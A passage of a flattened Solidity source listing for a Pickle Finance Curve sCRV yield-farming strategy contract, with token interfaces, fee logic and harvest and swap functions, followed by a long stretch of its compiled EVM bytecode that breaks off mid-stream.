success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// src/interfaces/jar.sol /* pragma solidity ^0.6.2; */ /* import "../lib/erc20.sol"; */ interface IJar is IERC20 { function token() external view returns (address); function claimInsurance() external; // NOTE: Only yDelegatedVault implements this function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function earn() external; } ////// src/interfaces/onesplit.sol /* pragma solidity ^0.6.2; */ interface OneSplitAudit { function getExpectedReturn( address fromToken, address toToken, uint256 amount, uint256 parts, uint256 featureFlags ) external view returns (uint256 returnAmount, uint256[] memory distribution); function swap( address fromToken, address toToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 featureFlags ) external payable; } ////// src/strategies/strategy-curve-scrv-v1.sol // https://github.com/iearn-finance/contracts/blob/master/contracts/strategies/StrategyCurveYCRVVoter.sol /* pragma solidity ^0.6.2; */ /* import "../lib/erc20.sol"; */ /* import "../lib/safe-math.sol"; */ /* import "../interfaces/jar.sol"; */ /* import "../interfaces/curve.sol"; */ /* import "../interfaces/onesplit.sol"; */ /* import "../interfaces/controller.sol"; */ contract StrategyCurveSCRVv1 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // sCRV address public constant want = 0xC25a3A3b969415c80451098fa907EC722572917F; // susdv2 pool address public constant curve = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; // tokens we're farming address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; // curve dao address public constant gauge = 0xA90996896660DEcC6E997655E065b23788857849; address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // stablecoins address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // pickle token address public constant pickle = 0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5; // burn address address public constant burn = 0x000000000000000000000000000000000000dEaD; // dex address public onesplit = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E; uint256 public parts = 2; // onesplit parts // Fees ~4.93% in total // - 2.94% performance fee // - 1.5% used to burn pickles // - 0.5% gas compensation fee (for caller) // 3% of 98% = 2.94% of original 100% uint256 public performanceFee = 300; uint256 public constant performanceMax = 10000; uint256 public burnFee = 150; uint256 public constant burnMax = 10000; uint256 public callerFee = 50; uint256 public constant callerMax = 10000; uint256 public withdrawalFee = 50; uint256 public constant withdrawalMax = 10000; address public governance; address public controller; address public strategist; constructor( address _governance, address _strategist, address _controller ) public { governance = _governance; strategist = _strategist; controller = _controller; } // **** Views **** function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public view returns (uint256) { return ICurveGauge(gauge).balanceOf(address(this)); } function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external pure returns (string memory) { return "StrategyCurveSCRVv1"; } function getMostPremiumStablecoin() public view returns (address, uint256) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi(curve).balances(0); // DAI balances[1] = ICurveFi(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } // Manually change this function to view on the abi // This is due to 'gauge'.claimable_token function // Which fucks everything up function getExpectedRewards() public returns ( address, // stablecoin address uint256, // caller rewards uint256 // amount of pickle to burn ) { // stablecoin we want to convert to (address to, ) = getMostPremiumStablecoin(); // Return amounts uint256 _to; uint256 _pickleBurn; uint256 _retAmount; // CRV uint256 _crv = ICurveGauge(gauge).claimable_tokens(address(this)); if (_crv > 0) { (_retAmount, ) = OneSplitAudit(onesplit).getExpectedReturn( crv, to, _crv, parts, 0 ); _to = _to.add(_retAmount); } // SNX uint256 _snx = ICurveGauge(gauge).claimable_reward(address(this)); if (_snx > 0) { (_retAmount, ) = OneSplitAudit(onesplit).getExpectedReturn( snx, to, _snx, parts, 0 ); _to = _to.add(_retAmount); } if (_to > 0) { (_pickleBurn, ) = OneSplitAudit(onesplit).getExpectedReturn( to, pickle, _to.mul(burnFee).div(burnMax), parts, 0 ); } return ( to, _to.mul(callerFee).div(callerMax), // Caller rewards _pickleBurn // BURN Pickle amount ); } // **** Setters **** function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == governance, "!governance"); withdrawalFee = _withdrawalFee; } function setPerformanceFee(uint256 _performanceFee) external { require(msg.sender == governance, "!governance"); performanceFee = _performanceFee; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == governance, "!governance"); controller = _controller; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setParts(uint256 _parts) public { require(msg.sender == governance, "!governance"); parts = _parts; } // **** State Mutations **** function deposit() public { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(gauge, 0); IERC20(want).approve(gauge, _want); ICurveGauge(gauge).deposit(_want); } } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); require(crv != address(_asset), "crv"); require(snx != address(_asset), "snx"); require(dai != address(_asset), "dai"); require(usdc != address(_asset), "usdc"); require(usdt != address(_asset), "usdt"); require(susd != address(_asset), "susd"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a jar withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(want).safeTransfer(IController(controller).rewards(), _fee); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, _amount.sub(_fee)); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, balance); } function _withdrawAll() internal { ICurveGauge(gauge).withdraw( ICurveGauge(gauge).balanceOf(address(this)) ); } function _withdrawSome(uint256 _amount) internal returns (uint256) { ICurveGauge(gauge).withdraw(_amount); return _amount; } function brine() public { harvest(); } function harvest() public { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // stablecoin we want to convert to (address to, uint256 toIndex) = getMostPremiumStablecoin(); // Collects crv tokens // Don't bother voting in v1 ICurveMintr(mintr).mint(gauge); uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { _swap(crv, to, _crv); } // Collects SNX tokens ICurveGauge(gauge).claim_rewards(address(this)); uint256 _snx = IERC20(snx).balanceOf(address(this)); if (_snx > 0) { _swap(snx, to, _snx); } // Adds liquidity to curve.fi's susd pool // to get back want (scrv) uint256 _to = IERC20(to).balanceOf(address(this)); if (_to > 0) { // Fees (in stablecoin) // 0.5% sent to msg.sender to refund gas uint256 _callerFee = _to.mul(callerFee).div(callerMax); IERC20(to).safeTransfer(msg.sender, _callerFee); // 1.5% used to buy and BURN pickles uint256 _burnFee = _to.mul(burnFee).div(burnMax); _swap(to, pickle, _burnFee); IERC20(pickle).transfer( burn, IERC20(pickle).balanceOf(address(this)) ); // Supply to curve to get sCRV _to = _to.sub(_callerFee).sub(_burnFee); IERC20(to).safeApprove(curve, 0); IERC20(to).safeApprove(curve, _to); uint256[4] memory liquidity; liquidity[toIndex] = _to; ICurveFi(curve).add_liquidity(liquidity, 0); } // We want to get back sCRV uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { // Fees (in sCRV) // 3% performance fee // This 3% comes AFTER deducing 2% // So in reality its actually around 2.94% // 0.98 * 0.03 = 0.0294 IERC20(want).safeTransfer( IController(controller).rewards(), _want.mul(performanceFee).div(performanceMax) ); deposit(); } } function _swap( address _from, address _to, uint256 _amount ) internal { // Onesplit params uint256 expected; uint256[] memory distribution; IERC20(_from).safeApprove(onesplit, 0); IERC20(_from).safeApprove(onesplit, _amount); (expected, distribution) = OneSplitAudit(onesplit).getExpectedReturn( _from, _to, _amount, parts, 0 ); OneSplitAudit(onesplit).swap( _from, _to, _amount, parts, distribution, 0 ); } }
0x608060405234801561001057600080fd5b50600436106102745760003560e01c80638778878211610151578063cbf807bd116100c3578063e7d2799811610087578063e7d279981461056b578063f3887eee14610573578063f4b9fa751461057b578063f712adbb14610583578063f77c47911461058b578063fce589d81461059357610274565b8063cbf807bd146103e1578063d0e30db014610553578063d1e61dcb1461055b578063d5c1ff73146103e1578063e0af073f1461056357610274565b8063ab033ea911610115578063ab033ea9146104d2578063ac1e5025146104f8578063b47e9c7914610515578063c1a3d44c1461051d578063c7b9d53014610525578063c92577751461054b57610274565b8063877887821461046e5780638bc7e8c4146104765780638da1df4d1461047e57806392eefe9b146104a4578063a6f19c84146104ca57610274565b806351cff8d9116101ea57806370897b23116101ae57806370897b231461040e5780637165485d1461042b578063722713f7146104335780637cc79113146103e157806380efa0801461043b578063853828b61461046657610274565b806351cff8d9146103b35780635aa6e675146103d95780635c131d70146103e157806366cbbdf9146103e95780636a4874a11461040657610274565b80632e1a7d4d1161023c5780632e1a7d4d1461036c5780632f48ab7d1461038b57806334d441d0146103935780633e413bee1461039b57806344df8e70146103a35780634641257d146103ab57610274565b8063115880861461027957806315a5d1871461029357806317d7de7c146102c35780631f1fcd51146103405780631fe4a68614610364575b600080fd5b61028161059b565b60408051918252519081900360200190f35b61029b610621565b604080516001600160a01b039094168452602084019290925282820152519081900360600190f35b6102cb610bdc565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103055781810151838201526020016102ed565b50505050905090810190601f1680156103325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610348610c09565b604080516001600160a01b039092168252519081900360200190f35b610348610c1b565b6103896004803603602081101561038257600080fd5b5035610c2a565b005b610348610ec4565b610281610edc565b610348610ee2565b610348610efa565b610389610f00565b610281600480360360208110156103c957600080fd5b50356001600160a01b0316611586565b6103486118d8565b6102816118e7565b610389600480360360208110156103ff57600080fd5b50356118ed565b61034861193f565b6103896004803603602081101561042457600080fd5b5035611957565b6103486119a9565b6102816119c1565b6104436119e1565b604080516001600160a01b03909316835260208301919091528051918290030190f35b610281611f64565b610281612121565b610281612127565b6103896004803603602081101561049457600080fd5b50356001600160a01b031661212d565b610389600480360360208110156104ba57600080fd5b50356001600160a01b031661219c565b61034861220b565b610389600480360360208110156104e857600080fd5b50356001600160a01b0316612223565b6103896004803603602081101561050e57600080fd5b5035612292565b6102816122e4565b6102816122ea565b6103896004803603602081101561053b57600080fd5b50356001600160a01b0316612339565b6103486123a8565b6103896123c0565b610348612574565b61038961258c565b610348612596565b6103486125ae565b6103486125c6565b6103486125de565b6103486125ed565b6102816125fc565b604080516370a0823160e01b8152306004820152905160009173a90996896660decc6e997655e065b23788857849916370a0823191602480820192602092909190829003018186803b1580156105f057600080fd5b505afa158015610604573d6000803e3d6000fd5b505050506040513d602081101561061a57600080fd5b5051905090565b60008060008061062f6119e1565b50905060008060008073a90996896660decc6e997655e065b237888578496001600160a01b03166333134583306040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b15801561069b57600080fd5b505af11580156106af573d6000803e3d6000fd5b505050506040513d60208110156106c557600080fd5b50519050801561083557600080546001546040805163085e2c5b60e01b815273d533a949740bb3306d119cc777fa900ba034cd5260048201526001600160a01b038a81166024830152604482018790526064820193909352608481018590529051919092169263085e2c5b9260a48082019391829003018186803b15801561074c57600080fd5b505afa158015610760573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561078957600080fd5b815160208301805160405192949293830192919084600160201b8211156107af57600080fd5b9083019060208201858111156107c457600080fd5b82518660208202830111600160201b821117156107e057600080fd5b82525081516020918201928201910280838360005b8381101561080d5781810151838201526020016107f5565b505050509050016040525050505080925050610832828561260290919063ffffffff16565b93505b6040805163d2797b5960e01b8152306004820152905160009173a90996896660decc6e997655e065b237888578499163d2797b5991602480820192602092909190829003018186803b15801561088a57600080fd5b505afa15801561089e573d6000803e3d6000fd5b505050506040513d60208110156108b457600080fd5b505190508015610a2457600080546001546040805163085e2c5b60e01b815273c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f60048201526001600160a01b038b81166024830152604482018790526064820193909352608481018590529051919092169263085e2c5b9260a48082019391829003018186803b15801561093b57600080fd5b505afa15801561094f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561097857600080fd5b815160208301805160405192949293830192919084600160201b82111561099e57600080fd5b9083019060208201858111156109b357600080fd5b82518660208202830111600160201b821117156109cf57600080fd5b82525081516020918201928201910280838360005b838110156109fc5781810151838201526020016109e4565b505050509050016040525050505080935050610a21838661260290919063ffffffff16565b94505b8415610bae576000546003546001600160a01b039091169063085e2c5b90889073429881672b9ae42b8eba0e26cd9c73711b891ca590610a739061271090610a6d908c90612665565b906126be565b60015460006040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b031681526020018481526020018381526020018281526020019550505050505060006040518083038186803b158015610ada57600080fd5b505afa158015610aee573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040908152811015610b1757600080fd5b815160208301805160405192949293830192919084600160201b821115610b3d57600080fd5b908301906020820185811115610b5257600080fd5b82518660208202830111600160201b82111715610b6e57600080fd5b82525081516020918201928201910280838360005b83811015610b9b578181015183820152602001610b83565b5050505090500160405250505050809450505b85610bca612710610a6d6004548961266590919063ffffffff16565b85985098509850505050505050909192565b6040805180820190915260138152725374726174656779437572766553435256763160681b602082015290565b600080516020612fbf83398151915281565b6008546001600160a01b031681565b6007546001600160a01b03163314610c77576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b604080516370a0823160e01b81523060048201529051600091600080516020612fbf833981519152916370a0823191602480820192602092909190829003018186803b158015610cc657600080fd5b505afa158015610cda573d6000803e3d6000fd5b505050506040513d6020811015610cf057600080fd5b5051905081811015610d1d57610d0e610d098383612700565b612742565b9150610d1a8282612602565b91505b6000610d3a612710610a6d6005548661266590919063ffffffff16565b9050610dcf600760009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8d57600080fd5b505afa158015610da1573d6000803e3d6000fd5b505050506040513d6020811015610db757600080fd5b5051600080516020612fbf83398151915290836127bc565b60075460408051636535246160e11b8152600080516020612fbf833981519152600482015290516000926001600160a01b03169163ca6a48c2916024808301926020929190829003018186803b158015610e2857600080fd5b505afa158015610e3c573d6000803e3d6000fd5b505050506040513d6020811015610e5257600080fd5b505190506001600160a01b038116610e9a576040805162461bcd60e51b8152602060048083019190915260248201526310b530b960e11b604482015290519081900360640190fd5b610ebe81610ea88685612700565b600080516020612fbf83398151915291906127bc565b50505050565b73dac17f958d2ee523a2206206994597c13d831ec781565b60045481565b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b61dead81565b600080610f0b6119e1565b9150915073d061d61a4d941c39e5453435b6345dc261c2fce06001600160a01b0316636a62784273a90996896660decc6e997655e065b237888578496040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015610f8657600080fd5b505af1158015610f9a573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516000935073d533a949740bb3306d119cc777fa900ba034cd5292506370a0823191602480820192602092909190829003018186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d602081101561101d57600080fd5b5051905080156110465761104673d533a949740bb3306d119cc777fa900ba034cd528483612813565b60408051634274debf60e11b8152306004820152905173a90996896660decc6e997655e065b23788857849916384e9bd7e91602480830192600092919082900301818387803b15801561109857600080fd5b505af11580156110ac573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516000935073c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f92506370a0823191602480820192602092909190829003018186803b15801561110557600080fd5b505afa158015611119573d6000803e3d6000fd5b505050506040513d602081101561112f57600080fd5b5051905080156111585761115873c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f8583612813565b6000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156111a757600080fd5b505afa1580156111bb573d6000803e3d6000fd5b505050506040513d60208110156111d157600080fd5b50519050801561146b5760006111f8612710610a6d6004548561266590919063ffffffff16565b905061120e6001600160a01b03871633836127bc565b600061122b612710610a6d6003548661266590919063ffffffff16565b905061124c8773429881672b9ae42b8eba0e26cd9c73711b891ca583612813565b604080516370a0823160e01b8152306004820152905173429881672b9ae42b8eba0e26cd9c73711b891ca59163a9059cbb9161dead9184916370a0823191602480820192602092909190829003018186803b1580156112aa57600080fd5b505afa1580156112be573d6000803e3d6000fd5b505050506040513d60208110156112d457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561132557600080fd5b505af1158015611339573d6000803e3d6000fd5b505050506040513d602081101561134f57600080fd5b506113669050816113608585612700565b90612700565b92506113916001600160a01b03881673a5407eae9ba41422680e2e00537571bcc53efbfd6000612a7f565b6113b96001600160a01b03881673a5407eae9ba41422680e2e00537571bcc53efbfd85612a7f565b6113c1612fa0565b838188600481106113ce57fe5b602002015260405162a6cbcd60e21b815273a5407eae9ba41422680e2e00537571bcc53efbfd9063029b2f3490839060009060040180836080808383875b8381101561142457818101518382015260200161140c565b5050505090500182815260200192505050600060405180830381600087803b15801561144f57600080fd5b505af1158015611463573d6000803e3d6000fd5b505050505050505b604080516370a0823160e01b81523060048201529051600091600080516020612fbf833981519152916370a0823191602480820192602092909190829003018186803b1580156114ba57600080fd5b505afa1580156114ce573d6000803e3d6000fd5b505050506040513d60208110156114e457600080fd5b50519050801561157e57600754604080516327b16a2560e21b81529051611576926001600160a01b031691639ec5a894916004808301926020929190829003018186803b15801561153457600080fd5b505afa158015611548573d6000803e3d6000fd5b505050506040513d602081101561155e57600080fd5b5051600254610ea89061271090610a6d908690612665565b61157e6123c0565b505050505050565b6007546000906001600160a01b031633146115d6576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b600080516020612fbf8339815191526001600160a01b038316141561162b576040805162461bcd60e51b815260206004808301919091526024820152631dd85b9d60e21b604482015290519081900360640190fd5b73d533a949740bb3306d119cc777fa900ba034cd526001600160a01b0383161415611683576040805162461bcd60e51b815260206004820152600360248201526231b93b60e91b604482015290519081900360640190fd5b73c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f6001600160a01b03831614156116db576040805162461bcd60e51b81526020600482015260036024820152620e6dcf60eb1b604482015290519081900360640190fd5b736b175474e89094c44da98b954eedeac495271d0f6001600160a01b0383161415611733576040805162461bcd60e51b815260206004820152600360248201526264616960e81b604482015290519081900360640190fd5b73a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b038316141561178e576040805162461bcd60e51b815260206004808301919091526024820152637573646360e01b604482015290519081900360640190fd5b73dac17f958d2ee523a2206206994597c13d831ec76001600160a01b03831614156117e9576040805162461bcd60e51b815260206004808301919091526024820152631d5cd91d60e21b604482015290519081900360640190fd5b7357ab1ec28d129707052df4df418d58a2d46d5f516001600160a01b0383161415611844576040805162461bcd60e51b815260206004808301919091526024820152631cdd5cd960e21b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561188a57600080fd5b505afa15801561189e573d6000803e3d6000fd5b505050506040513d60208110156118b457600080fd5b50516007549091506118d3906001600160a01b038481169116836127bc565b919050565b6006546001600160a01b031681565b61271081565b6006546001600160a01b0316331461193a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600155565b73d533a949740bb3306d119cc777fa900ba034cd5281565b6006546001600160a01b031633146119a4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600255565b73a5407eae9ba41422680e2e00537571bcc53efbfd81565b60006119dc6119ce61059b565b6119d66122ea565b90612602565b905090565b60408051600480825260a0820190925260009182916060916020820160808036833750506040805162cb501b60e31b815260006004820152905192935073a5407eae9ba41422680e2e00537571bcc53efbfd9263065a80d892506024808301926020929190829003018186803b158015611a5a57600080fd5b505afa158015611a6e573d6000803e3d6000fd5b505050506040513d6020811015611a8457600080fd5b505181518290600090611a9357fe5b602002602001018181525050611b3364e8d4a5100073a5407eae9ba41422680e2e00537571bcc53efbfd6001600160a01b031663065a80d860016040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611b0157600080fd5b505afa158015611b15573d6000803e3d6000fd5b505050506040513d6020811015611b2b57600080fd5b505190612665565b81600181518110611b4057fe5b602002602001018181525050611bae64e8d4a5100073a5407eae9ba41422680e2e00537571bcc53efbfd6001600160a01b031663065a80d860026040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611b0157600080fd5b81600281518110611bbb57fe5b60200260200101818152505073a5407eae9ba41422680e2e00537571bcc53efbfd6001600160a01b031663065a80d860036040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611c2057600080fd5b505afa158015611c34573d6000803e3d6000fd5b505050506040513d6020811015611c4a57600080fd5b5051815182906003908110611c5b57fe5b60200260200101818152505080600181518110611c7457fe5b602002602001015181600081518110611c8957fe5b6020026020010151108015611cc5575080600281518110611ca657fe5b602002602001015181600081518110611cbb57fe5b6020026020010151105b8015611cf8575080600381518110611cd957fe5b602002602001015181600081518110611cee57fe5b6020026020010151105b15611d1e57736b175474e89094c44da98b954eedeac495271d0f60009250925050611f60565b80600081518110611d2b57fe5b602002602001015181600181518110611d4057fe5b6020026020010151108015611d7c575080600281518110611d5d57fe5b602002602001015181600181518110611d7257fe5b6020026020010151105b8015611daf575080600381518110611d9057fe5b602002602001015181600181518110611da557fe5b6020026020010151105b15611dd55773a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4860019250925050611f60565b80600081518110611de257fe5b602002602001015181600281518110611df757fe5b6020026020010151108015611e33575080600181518110611e1457fe5b602002602001015181600281518110611e2957fe5b6020026020010151105b8015611e66575080600381518110611e4757fe5b602002602001015181600281518110611e5c57fe5b6020026020010151105b15611e8c5773dac17f958d2ee523a2206206994597c13d831ec760029250925050611f60565b80600081518110611e9957fe5b602002602001015181600381518110611eae57fe5b6020026020010151108015611eea575080600181518110611ecb57fe5b602002602001015181600381518110611ee057fe5b6020026020010151105b8015611f1d575080600281518110611efe57fe5b602002602001015181600381518110611f1357fe5b6020026020010151105b15611f43577357ab1ec28d129707052df4df418d58a2d46d5f5160039250925050611f60565b736b175474e89094c44da98b954eedeac495271d0f600092509250505b9091565b6007546000906001600160a01b03163314611fb4576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b611fbc612b92565b604080516370a0823160e01b81523060048201529051600080516020612fbf833981519152916370a08231916024808301926020929190829003018186803b15801561200757600080fd5b505afa15801561201b573d6000803e3d6000fd5b505050506040513d602081101561203157600080fd5b505160075460408051636535246160e11b8152600080516020612fbf833981519152600482015290519293506000926001600160a01b039092169163ca6a48c291602480820192602092909190829003018186803b15801561209257600080fd5b505afa1580156120a6573d6000803e3d6000fd5b505050506040513d60208110156120bc57600080fd5b505190506001600160a01b038116612104576040805162461bcd60e51b8152602060048083019190915260248201526310b530b960e11b604482015290519081900360640190fd5b61211d600080516020612fbf83398151915282846127bc565b5090565b60025481565b60055481565b6006546001600160a01b0316331461217a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146121e9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b73a90996896660decc6e997655e065b2378885784981565b6006546001600160a01b03163314612270576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146122df576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600555565b60015481565b604080516370a0823160e01b81523060048201529051600091600080516020612fbf833981519152916370a0823191602480820192602092909190829003018186803b1580156105f057600080fd5b6006546001600160a01b03163314612386576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b7357ab1ec28d129707052df4df418d58a2d46d5f5181565b604080516370a0823160e01b81523060048201529051600091600080516020612fbf833981519152916370a0823191602480820192602092909190829003018186803b15801561240f57600080fd5b505afa158015612423573d6000803e3d6000fd5b505050506040513d602081101561243957600080fd5b50519050801561257157612471600080516020612fbf83398151915273a90996896660decc6e997655e065b237888578496000612a7f565b6040805163095ea7b360e01b815273a90996896660decc6e997655e065b237888578496004820152602481018390529051600080516020612fbf8339815191529163095ea7b39160448083019260209291908290030181600087803b1580156124d957600080fd5b505af11580156124ed573d6000803e3d6000fd5b505050506040513d602081101561250357600080fd5b50506040805163b6b55f2560e01b815260048101839052905173a90996896660decc6e997655e065b237888578499163b6b55f2591602480830192600092919082900301818387803b15801561255857600080fd5b505af115801561256c573d6000803e3d6000fd5b505050505b50565b73d061d61a4d941c39e5453435b6345dc261c2fce081565b612594610f00565b565b73c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f81565b73429881672b9ae42b8eba0e26cd9c73711b891ca581565b736b175474e89094c44da98b954eedeac495271d0f81565b6000546001600160a01b031681565b6007546001600160a01b031681565b60035481565b60008282018381101561265c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b6000826126745750600061265f565b8282028284828161268157fe5b041461265c5760405162461bcd60e51b8152600401808060200182810382526021815260200180612fdf6021913960400191505060405180910390fd5b600061265c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c69565b600061265c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612d0b565b600073a90996896660decc6e997655e065b237888578496001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561279e57600080fd5b505af11580156127b2573d6000803e3d6000fd5b5093949350505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261280e908490612d65565b505050565b60008054606090612831906001600160a01b03878116911684612a7f565b60005461284b906001600160a01b03878116911685612a7f565b600080546001546040805163085e2c5b60e01b81526001600160a01b038a811660048301528981166024830152604482018990526064820193909352608481018590529051919092169263085e2c5b9260a48082019391829003018186803b1580156128b657600080fd5b505afa1580156128ca573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160409081528110156128f357600080fd5b815160208301805160405192949293830192919084600160201b82111561291957600080fd5b90830190602082018581111561292e57600080fd5b82518660208202830111600160201b8211171561294a57600080fd5b82525081516020918201928201910280838360005b8381101561297757818101518382015260200161295f565b50505050905001604052505050809250819350505060008054906101000a90046001600160a01b03166001600160a01b031663e2a7515e8686866001548660006040518763ffffffff1660e01b815260040180876001600160a01b03168152602001866001600160a01b0316815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b83811015612a36578181015183820152602001612a1e565b50505050905001975050505050505050600060405180830381600087803b158015612a6057600080fd5b505af1158015612a74573d6000803e3d6000fd5b505050505050505050565b801580612b05575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015612ad757600080fd5b505afa158015612aeb573d6000803e3d6000fd5b505050506040513d6020811015612b0157600080fd5b5051155b612b405760405162461bcd60e51b815260040180806020018281038252603681526020018061302a6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261280e908490612d65565b604080516370a0823160e01b8152306004820152905173a90996896660decc6e997655e065b2378885784991632e1a7d4d9183916370a08231916024808301926020929190829003018186803b158015612beb57600080fd5b505afa158015612bff573d6000803e3d6000fd5b505050506040513d6020811015612c1557600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925